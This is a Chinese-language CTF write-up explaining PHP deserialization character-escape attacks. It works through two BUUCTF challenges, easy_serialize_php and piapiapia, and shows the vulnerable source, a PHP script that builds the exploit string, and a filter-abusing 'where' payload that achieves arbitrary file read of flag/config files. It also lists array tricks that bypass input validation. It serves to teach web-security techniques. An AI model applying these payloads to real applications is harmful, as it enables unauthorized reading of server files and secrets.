0x00 PHP反序列化的特性
PHP反序列化字符逃逸依靠PHP在反序列化时的几个特性:
对类中不存在的属性也会反序列化
在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且根据长度判断内容例:正常的反序列化可执行
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
执行
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";
仍可得到相同结果
0x01 BUUCTF-[安洵杯 2019]easy_serialize_php
1.1 源码分析
首先查看给出的PHP源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>
按顺序分析其中重要的代码功能:
传入的
GET
参数f
被赋给了变量$function
:$function = @$_GET['f'];
将
POST
的数据导出为变量:extract($_POST);
判断
GET
是否存在img_path
参数,并进行初始化:if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
对_SESSION[]进行序列化,并使用filter函数对其中的字符进行过滤:
//把img中的敏感字符替换为空 function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $serialize_info = filter(serialize($_SESSION));
根据
$function
变量判断执行的命令,当$function
值为'phpinfo'
时可以执行phpinfo(),当值为'show_image'
时会对$serialize_info
执行反序列化操作:if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
1.2 解法分析
根据上文的分析,初步猜测解法为:
GET
参数f
设置为'show_image'
- 通过
extract()
函数和POST
添加变量或将某些变量覆盖- 序列化
$serialize_info
时,img
参数需要自定义- 通过
file_get_contents()
函数读取指定的文件
1.3 解题过程
先将GET
参数f
的值设为'phpinfo'
,可以看到执行了:
一开始,我忽略了边上的注释//maybe you can find something in here!
,还以为需要将img
的值设为某些名字和flag
有关的文件,结果在phpinfo
里面找到了:
接下来应该就是把'd0g3_f1ag.php'
给base64
编码后放到img
参数里面了
但是,有个大问题:通过extract()
函数定义的img
参数会被后面的代码初始化,所以不能通过POST
上传自定义的img
参数
因此,要解这道题需要用到PHP
反序列化的一些特点:
例如序列化之后的某一字符串:
a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}
PHP在反序列化的时候严格按照这个格式执行,严格按照s的长度取属性的值,多余的部分将会被丢弃
这也就意味着假设"Hed9eh0g"
被删掉了部分,反序列化的过程中仍然会寻找引号后长度为8的字符串,只有长度不够,或长度到达指定的8后没有结束的";
标志时,反序列化才无法执行成功
因此,我们可以利用刚刚被我们忽略的filter()
函数:通过该函数删掉部分内容,然后把原有的img
参数挤到反序列化有效区外,并在有效区内重新构造img
参数,exp
如下:
<?php
class _SESSION
{
public $user = 'guest';
public $function = 'show_image';
public $phpphpphp = 'x";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
//img为d0g3_f1ag.php的base64编码
public $img = 'hahahaha';
}
$data = new _SESSION();
$s = serialize($data);
echo $s;
//输出结果:
//O:8:"_SESSION":4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:9:"phpphpphp";s:53:"x";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:8:"hahahaha";}
//这里php会被filter函数替换为空,从而使得自定义的img参数生效
?>
payload1
为:
返回结果为:
以为能直接访问到flag
,结果要再来一次,读取这个文件
payload2
如下:
得到flag
:
0x02 BUUCTF-[0CTF 2016]piapiapia
1.1 题目分析
我是看着标签点的这题,进去一看差点以为是注入:
尝试了一下没有思路后,我就认怂了,结果题解说扫目录可以发现该题的源码www.zip
,但是该题网页访问过快会返回429
状态码,所以拿御剑扫不出来,不过题解说可以用dirsearch
扫出来
1.2 源码分析
拿到源码之后就可以开始审计了,首先我在profile.php
中发现了unserialize()
,且被反序列化的参数$profile
来源于$user
对象的show_profile()
方法,并且,最重要的是:**$profile['photo']
被file_get_contents
取了出来,这也意味着若我们能控制photo
的值,便可以得到任意文件**,而恰恰在在config.php
中,定义了$flag
<?php //profile.php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
跟踪该方法可以发现该方法的作用是从数据库中取出$user
相应的信息,这也意味着我们可以将某些攻击语句放入数据库然后反序列化,在class.php
中,发现在从数据库取出数据后还进行了过滤:将string
中的'
、\\
替换为_
,将select
等替换为hacker
,这也就有了反序列化字符逃逸的机会,在where
被替换为hacker
时,会多出一个字符,给了我们自定义反序列化结果的机会
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
再来看看update.php
,这是我们上传数据的位置,但是,我们能上传的四个点均遭到了过滤:
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
不过,这里有一个PHP
知识点:可以用数组绕过strlen
和preg_match
:
md5(array()) = null sha1(array()) = null ereg(pattern,array()) = null preg_match(pattern,array) = false strcmp(array(), "abc") = null strpos(array(),"abc") = null
因此,可以把nickname
设置为数组格式,并构造payload
,即可得到flag
将序列化的前文闭合并定义photo
为config.php
的序列化字符串为;}s:5:"photo";s:10:"config.php";}
,总计34
个字符,所以需要34
个where
被替换为hacker
,因此payload为:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}
访问profile.php
后得到:
base64
解码即可得到flag
:
0x03 参考
[1] [安洵杯 2019]easy_serialize_php WP https://www.jianshu.com/p/8e8117f9fd0e
[2] PHP反序列化 — 字符逃逸 https://xz.aliyun.com/t/9213
[3] [0CTF 2016]piapiapia解题详细思路及复现 https://www.cnblogs.com/g0udan/p/12216207.html
[4] 利用数组绕过问题小总结 https://www.jianshu.com/p/8e3b9d056da6?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation